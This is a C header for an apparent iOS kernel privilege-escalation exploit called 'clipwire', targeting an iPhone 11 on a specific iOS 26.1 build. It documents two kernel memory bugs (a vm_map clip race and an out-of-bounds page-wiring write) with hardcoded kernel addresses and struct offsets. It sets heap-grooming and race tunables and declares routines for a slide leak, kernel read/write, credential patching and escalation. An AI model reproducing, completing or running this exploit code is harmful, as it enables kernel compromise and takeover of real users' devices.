#ifndef CLIPWIRE_H
#define CLIPWIRE_H

#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <mach/vm_map.h>
#include <mach/vm_region.h>
#include <mach-o/dyld.h>

#define U64 uint64_t
#define U32 uint32_t
#define S64 int64_t
#define S32 int32_t

#define PAGE_SIZE_ 0x4000
#define PAGE_SHIFT 14

#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
#define LOG(fmt, ...) do { printf("[clipwire] " fmt "\n", ##__VA_ARGS__); fflush(stdout); } while (0)
#define LOGOK(fmt, ...) do { printf("[clipwire][+] " fmt "\n", ##__VA_ARGS__); fflush(stdout); } while (0)
#define LOGBAD(fmt, ...) do { printf("[clipwire][-] " fmt "\n", ##__VA_ARGS__); fflush(stdout); } while (0)
#define LOGWARN(fmt, ...) do { printf("[clipwire][!] " fmt "\n", ##__VA_ARGS__); fflush(stdout); } while (0)

#define FAIL(code) do { fflush(stdout); sleep(2); exit((code)); } while (0)

/* ------------------------------------------------------------------ */
/* Target: iPhone 11 (A13, iPhone12,1), iOS 26.1 build 23B85           */
/* kernel: com.apple.kernel, xnu-12377.42.6, __text slide-0 base       */
/* Verified by static diff of 23B85 vs 23G71 (xnu-12377.162.13)        */
/* ------------------------------------------------------------------ */

#define KERNEL_TEXT_BASE_STATIC 0xfffffff007fa4000ULL

/* Bug 1 - vm_map_clip unlocked TOCTOU.
 * 26.1 COW fault path 0xfffffff0080b8820: locks copy-map (lck_rw_shared
 * 0xfffffff00800ab74 / exclusive 0xfffffff00800ae88), releases it
 * (lck_rw_done 0xfffffff00800b7ec at +0x8c2c), re-walks the submap
 * (vm_map_find_entry 0xfffffff0080cce48), then calls clip_start
 * (0xfffffff0080b2a30) / clip_end (0xfffffff0080b2c00) with the submap
 * lock NOT held and no bounds re-check. 26.6 re-validates and panics. */
/* Bug 2 - vm_fault_wire_object_pages (0xfffffff0080abae0, size 0x778)
 * walks entry vme_start..vme_end storing vm_page pointers into the
 * object's page array with no object-size check. 26.6 added:
 * if (offset + wire_size > object->size) panic. */
/* vm_map_entry layout (26.1 disasm, confirmed): next 0x00, prev 0x08,
 * start 0x10, end 0x18, object 0x38 (upper 32b = phys index into the
 * 0xffffffdc00000000 window), offset 0x40, flags 0x48
 * (submap bit 1<<1). Object decode window base: 0xffffffdc00000000. */

/* ------------------------------------------------------------------ */
/* Tunables (on-device knobs)                                          */
/* ------------------------------------------------------------------ */
#define COW_SRC_PAGES      16      /* source region size in pages (also = groom vm_object array class) */
#define COW_FAULT_PAGES    4       /* per-iteration faulted pages  */
#define RACE_ITERATIONS    2000    /* race rounds per attempt       */
#define RACE_ATTEMPTS      20      /* attempts before giving up     */
#define WIRE_ATTEMPTS      8       /* wire attempts per corruption  */
#define FREELIST_CHURN_MAPS 512    /* maps to churn to empty the vm_map_entry per-cpu freelist */
#define GROOM_OBJECTS      96      /* heap-adjacent COW vm_object arrays (+ IOSurface pool) */
#define GROOM_OBJECT_SIZE  0x200000 /* IOSurface phys-contiguous pool only */
#define WIRE_PHYS_SLOTS    512     /* cached (va,phys) aliases for prim_steer */

#ifndef VM_PAGE_INFO_BASIC_INFO
#define VM_PAGE_INFO_BASIC_INFO 5
#endif
#ifndef VM_PAGE_INFO_BASIC_COUNT
#define VM_PAGE_INFO_BASIC_COUNT 10    /* sizeof(vm_page_info_basic_data_t)/sizeof(natural_t) */
#endif

#define MAX_GLOBAL_LOG 512

extern U64 g_kern_slide;
extern U64 g_kern_base;   /* runtime __text base = STATIC + slide */

/* util.c */
void   clipwire_init(void);
bool   check_target(void);
void   nsleep(U64 ns);

/* slide.c */
U64    get_kernel_slide(void);
U64    leak_slide(void);                 /* pluggable info-leak hook */
U64    kern_slide_from_sysctl(void);

/* trigger.c (Bug 1) */
typedef struct {
    U64    src_addr;
    U64    src_size;
    U64    dst_addr;
    U64    dst_size;
} cow_map_t;

bool   cow_map_setup(cow_map_t *m);
void   cow_map_teardown(cow_map_t *m);
void   drain_entry_freelist(void);
int    run_clip_race(cow_map_t *m, U64 *corrupted_start, U64 *corrupted_end);
bool   entry_looks_corrupt(U64 start, U64 expected_size, U64 *out_size);

/* wire.c (Bug 2) */
typedef struct {
    U64    corrupt_start;
    U64    corrupt_end;
    U64    oob_count;      /* pages written past the object array */
} wire_result_t;

bool   wire_setup_objects(void);
void   wire_teardown_objects(void);
bool   run_wire_oob(U64 start, U64 end, wire_result_t *r);
int    verify_wire_landed(wire_result_t *r);
int    wire_victim_index(void);
int    wire_victim_surf(void);
bool   wire_victim_range(U64 *start, U64 *end);
bool   wire_groom_info(U64 idx, U64 *base, U64 *size);
bool   wire_surf_info(U64 idx, U64 *base, U64 *size);
bool   wire_oob_write(U64 array_index, U64 *written_u64);

/* exploit.c */
int    run_exploit(void);
void   report_status(const char *stage, int rc);

/* krw.c (post-primitive kernel r/w + escalation) */
typedef struct {
    U64    image_phys;     /* kernel image phys from phys-scan */
    bool   active;
} prim_t;

extern prim_t g_prim;

bool   prim_establish(void);          /* bind victim groom object + build phys alias cache */
bool   prim_read64(U64 phys, U64 *val);
bool   prim_write64(U64 phys, U64 val);
U64    prim_find_kernel_in_phys(U64 *out_phys_base, U64 *out_slide);
U64    krw_read64(U64 kva);
void   krw_write64(U64 kva, U64 val);
bool   find_proc_by_comm(const char *comm, U64 *out_proc);
bool   patch_creds(U64 proc);
void   escalate(void);

#endif /* CLIPWIRE_H */
